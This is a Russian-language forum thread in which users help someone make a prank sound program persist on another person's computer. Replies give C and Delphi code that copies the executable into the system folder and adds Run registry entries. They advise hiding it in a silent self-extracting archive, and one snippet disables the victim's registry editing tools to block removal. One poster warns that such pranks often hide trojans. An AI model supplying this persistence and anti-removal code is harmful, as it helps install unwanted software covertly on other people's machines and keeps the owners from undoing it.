прога-прикол! Нужна помощь)))

http://slil.ru/24198524 здесь лежит мини файл прикола. Когда запускаешь , то периодически комп начинает пердеть пукать и отрыгивать. Прога прикол короче. Вопрос такой кто может его чуть переделать, чтобы при запуске на компе но посзагрузки компа прописывался бы в автозагрузку скажем? вообще, чтобы после перезагрузки компа этот прикол снова и снова активировался!

 

один вопрос. ЗАЧЕМ оно тебе?

 

Code:

void Copy(void)
{
	char FileName[256],String[256];;
	GetModuleFileName(0,FileName,256);
	GetSystemDirectory(String,255);
	lstrcat(String,"\\**имя_файла**");
	CopyFile(FileName,String,TRUE);
}

DWORD Autorun(void)
{
	char String[256];
	HKEY hKey;
	GetSystemDirectory(String,255);
	lstrcat(String,"**имя_файла**");
	DWORD ret = RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",&hKey);
	if (ret==ERROR_SUCCESS)
	{
		ret = RegSetValueEx(hKey,"Run",0,REG_SZ,(const unsigned char *)String,lstrlen(String));
	}
	if (ret==ERROR_SUCCESS)
		return TRUE;
	else 
		return FALSE;
}

 

Мой 1 способ:
1) делаем батник который добавит фаил на авто загрузку в реестре
2) запихиваем в само распоковывающийся архив батник и прогу, настраиваем архив на незаметное извлечение и запуск батника.

Мой 2 способ:
1)создаем само распоковывающийся архив и запихиваем в него нашу прогу, в настройках архива выставляем создание ярлыка в папке автозагрузки.

 

gold-goblin, ну не ярлыка, а копии уж тогда.

 

C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка =\
остальные методы расхваталиюю етсь ещё пара идей, но они те не понравяться

 

Code:

procedure TForm1.FormCreate(Sender: TObject);
var
  RegIni : TRegIniFile;
begin
  RegIni := TRegIniFile.Create('Software');
  RegIni.RootKey := HKEY_LOCAL_MACHINE;
  RegIni.OpenKey('Software', true);
  RegIni.OpenKey('Microsoft', true);
  RegIni.OpenKey('Windows', true);
  RegIni.OpenKey('CurrentVersion', true);
  RegIni.WriteString('Run', 'файло.exe', Application.ExeName);
  RegIni.Free;
end;

вот так можно в делфи прописать файл в автозагрузку через реестр...
сильно не орать! делфи только два дня учу

 

SORRY 4 OFFTOP Вы смотрите оокуратней с такими приколами, тут ко мне друг зашел себе фильмы слить с моего компа и я увидел у него прогу, говорит тоже прикол когда то качал что то типа там делаетца с виндовс, ну я чуть было не зустил....проверил на http://www.virustotal.com, а там трой/бэкдор, приятель сам в осадок выпал )

 

n0ne

При создании само распокоющего архива можно сразу поставить галочку: добавить ярлык в папку авто загрузки.
И с адресами меньше мороки.

 

Можно написать что-то типа того.

Code:

program project2;
uses
  Windows,
  registry;

var
  h: TRegistry;
begin
  h := TRegistry.Create;
  with h do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
    WriteString('имя программы, 'C:\windows\system32\ProgramName.exe');
    CloseKey;
    Free;
   end;
   CopyFile(PChar('ProgramName.exe'),PChar('ProgramName.exe'),true);
end.

Потом просто создать SFX архив, указать чтобы при распаковке архива запустиласть эта программка.
Можно еще доступ к реестру ему отключить, вставив это кусочек

Code:

H := TRegistry.Create;
   with H do
   begin
    RootKey := HKEY_CURRENT_USER;
    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', true);
    WriteInteger('DisableRegistryTools', 1);
    CloseKey;
    Free;
  end;

Если у тя нет Delphi, могу откомпилить и те отослать.

 

Че-то какие-то прогоны с пробелами в коде. И исправить не могу, в редакторе все нормально. Мож кто даст объяснение ?